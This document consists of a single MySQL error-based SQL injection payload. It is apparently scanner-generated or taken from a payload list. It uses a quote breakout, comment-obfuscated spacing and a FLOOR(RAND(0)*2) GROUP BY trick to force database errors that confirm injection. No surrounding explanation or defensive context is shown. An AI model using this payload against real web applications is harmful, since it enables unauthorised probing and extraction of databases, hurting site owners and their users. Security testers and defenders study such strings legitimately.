1" AND AND/**/ROW(1503,8412)>(SELECT/**/COUNT(*),CONCAT('~',(SELECT/**/(ELT(1503=1503,1))),'~',FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/2669/**/UNION/**/SELECT/**/2721/**/UNION/**/SELECT/**/4257/**/UNION/**/SELECT/**/7184)a/**/GROUP/**/BY/**/x)-- -